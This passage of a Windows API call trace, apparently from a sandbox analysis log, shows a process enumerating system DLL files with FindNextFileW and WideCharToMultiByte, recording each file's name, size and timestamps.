lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0206.272] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x9dc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0206.272] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x9dc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0206.272] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x9dc288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0206.272] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.272] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.272] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x9dc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0206.273] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.273] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.273] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.273] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x9dc120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0206.273] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.273] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.273] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0206.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x9dc288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0206.274] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.274] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x9dc288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0206.274] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.274] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x9dc288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0206.274] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.274] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.274] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0206.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x9dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.275] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.275] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.275] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0206.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 